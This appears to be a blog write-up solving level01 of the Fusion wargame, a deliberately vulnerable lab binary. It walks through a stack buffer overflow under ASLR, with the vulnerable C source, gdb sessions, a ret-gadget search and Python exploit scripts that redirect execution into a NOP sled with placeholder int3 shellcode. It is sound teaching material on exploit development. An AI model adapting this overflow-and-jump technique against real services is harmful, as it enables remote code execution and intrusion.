exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.
In this post I’m going to explain how I solved level01 of Fusion, a pretty simple stack-based buffer overflow vulnerability exercise with the added complexity of ASLR.
The binary is called “level01” and can be found inside the Fusion VM, path “/opt/fusion/bin”. Source code is provided and available here.
fusion@fusion:/opt/fusion/bin$ cat /proc/sys/kernel/randomize_va_space
2
Most of the security mechanisms to prevent exploitation are disabled in this level :)
deimos:fusion claudio$ ~/tools/checksec.sh --file level01
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH level01
The vulnerability can be easily spotted with a quick look at the source code. The function “realpath” in “fix_path” is copying a user-controlled string into a buffer of 128 bytes (without validating the string length).
#include "../common/common.c"
int fix_path(char *path)
{
char resolved[128]; <---------- destination buffer
if(realpath(path, resolved) == NULL) return 1; <---------- path is the user controllable value
strcpy(path, resolved);
}
char *parse_http_request()
{
char buffer[1024];
char *path;
char *q;
// printf("[debug] buffer is at 0x%08x :-)\n", buffer); <img draggable="false" role="img" class="emoji" alt="😀" src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/svg/1f600.svg">
if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
path = &buffer[4];
q = strchr(path, ' ');
if(! q) errx(0, "No protocol version specified");
*q++ = 0;
if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
fix_path(path);
printf("trying to access %s\n", path);
return path;
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
parse_http_request();
}
There is also an useful hint (from level00, which is identical, but no ASLR):
Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).
We’ll keep that in mind.
Now, we know that due to ASLR, stack will be randomised in memory and we can’t “hardcode” stack addresses in the payload. Since PIE is not enabled (thus .text section not randomised) on the binary, the idea is to:
- look at registers for pointers to our shellcode
- reuse code found inside .text section of the binary to jump to the desired location
- execute shellcode
Let’s attach gdb to our process and set the debugger to follow child processes when fork is used.
fusion@fusion:/opt/fusion/bin$ ps aux | grep level01
20001 3005 0.0 0.0 1816 268 ? Ss 15:18 0:00 /opt/fusion/bin/level01
fusion 3752 0.0 0.1 4184 800 pts/0 S+ 16:40 0:00 grep --color=auto level01
fusion@fusion:/opt/fusion/bin$ sudo gdb
password for fusion:
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>.
(gdb) set follow-fork-mode child
(gdb) attach 3005
Attaching to process 3005 Reading symbols from /opt/fusion/bin/level01...done. Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done. done. Loaded symbols for /lib/i386-linux-gnu/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0xb78b9424 in __kernel_vsyscall ()
(gdb) c Continuing.
The following script should overwrite EBP and EIP with custom values:
import socket
T = "172.16.165.130" # IP of Fusion VM
P = 20001 # level01 is listening on port 20001
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))
EBP = "BBBB"
EIP = "CCCC"
path = 'A' * 135 + EBP + EIP
shellcode = "\xCC" * 500
req = "GET {} HTTP/1.1 {}".format(path,shellcode) # remember the hint?
s.send(req)
s.close()
and as expected, in gdb:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3796]
0x43434343 in ?? ()
(gdb) i r ebp eip
ebp 0x42424242 0x42424242
eip 0x43434343 0x43434343
The content of the stack:
(gdb) i r esp
esp 0xbfe7e450 0xbfe7e450
(gdb) x/80x $esp-80
0xbfe7e400: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e410: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e420: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e430: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e440: 0x41414141 0x41414141 0x42424242 0x43434343
0xbfe7e450: 0xbfe7e400 0x00000020 0x00000004 0x001761e4
0xbfe7e460: 0x001761e4 0x000027d8 0x20544547 0x41414141
0xbfe7e470: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e480: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e490: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfe7e4f0: 0x42414141 0x43424242 0x00434343 0x50545448
0xbfe7e500: 0x312e312f 0xcccccc20 0xcccccccc 0xcccccccc
0xbfe7e510: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbfe7e520: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbfe7e530: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
(gdb)
Our “path” value is duplicated. The one on the top of the stack (lower addresses) is contained within the “resolved[128]” buffer, while the other in the “buffer[1024]” buffer. Near the memory address 0xbfe7e500 (0xbfe7e505 to be precise), the beginning of our shellcode.
The current value of ESP is 0xbfe7e450 and the value contained at this memory address is 0xbfe7e400 which points somewhere in the middle of our “path” string. Bingo!
We can find the location of a “ret” instruction inside level01 and use it to jump into our controlled string. There is, however, a problem. 0xbfe7e400 is pointing to the “reserved” buffer and we wanted to avoid that (read the hint at the beginning of the article).
A possible solution is to insert a short JMP forward instruction to the second buffer, where it will be taken again (remember that path is duplicated) and move us to our shellcode. The CPU will execute also other instructions on our second buffer, but it won’t be a problem (lots of ‘inc ecx’ which are safe).
Let’s find a ret instruction and adjust the python script (we’ll also insert some nops before the shellcode, since calculations are not precise):
fusion@fusion:/opt/fusion/bin$ objdump -d level01 | grep ret
80488b9: c3 ret
8048bf4: c3 ret
8048c22: c3 ret
8048c64: c3 ret
8048c77: c3 ret
8048ca8: c3 ret
8048d53: c3 ret
8049068: c3 ret
8049222: c3 ret
804938e: c3 ret
8049457: c3 ret <--- I'll use this, for no particular reason
8049529: c3 ret
804960c: c3 ret
804967f: c3 ret
80496f2: c3 ret
80497e1: c3 ret
8049814: c3 ret
8049854: c3 ret
8049979: c3 ret
80499c1: c3 ret
8049a30: c3 ret
8049a40: f3 c3 repz ret
8049a45: c3 ret
8049a79: c3 ret
8049a95: c3 ret
Python:
import socket
import struct
T = "172.16.165.130"
P = 20001
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))
EBP = "BBBB"
EIP = "CCCC"
path = '/' + 'A'*111 + '\xeb\x70\x90\x90' + 'A' * 20 + EBP + EIP # eb 0x70 jmp somewhere in the second buffer, then jmp again to our shellcode (path is duplicated in the stack)
shellcode = "\x90"*100 + "\xCC"*500
path = path[:-4] + struct.pack("I",0x8049457) # replace the value of EIP
req = "GET {} HTTP/1.1 {}".format(path, shellcode)
s.send(req)
s.close()
and run…
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4487]
0xbfe7e56b in ?? ()
(gdb) x/20i $eip-10
0xbfe7e561: nop
0xbfe7e562: nop
0xbfe7e563: nop
0xbfe7e564: nop
0xbfe7e565: nop
0xbfe7e566: nop
0xbfe7e567: nop
0xbfe7e568: nop
0xbfe7e569: nop
0xbfe7e56a: int3
=> 0xbfe7e56b: int3
0xbfe7e56c: int3
0xbfe7e56d: int3
0xbfe7e56e: int3
0xbfe7e56f: int3
0xbfe7e570: int3
0xbfe7e571: int3
0xbfe7e572: int3
0xbfe7e573: int3
0xbfe7e574: int3
It worked! We are exactly where we want to be.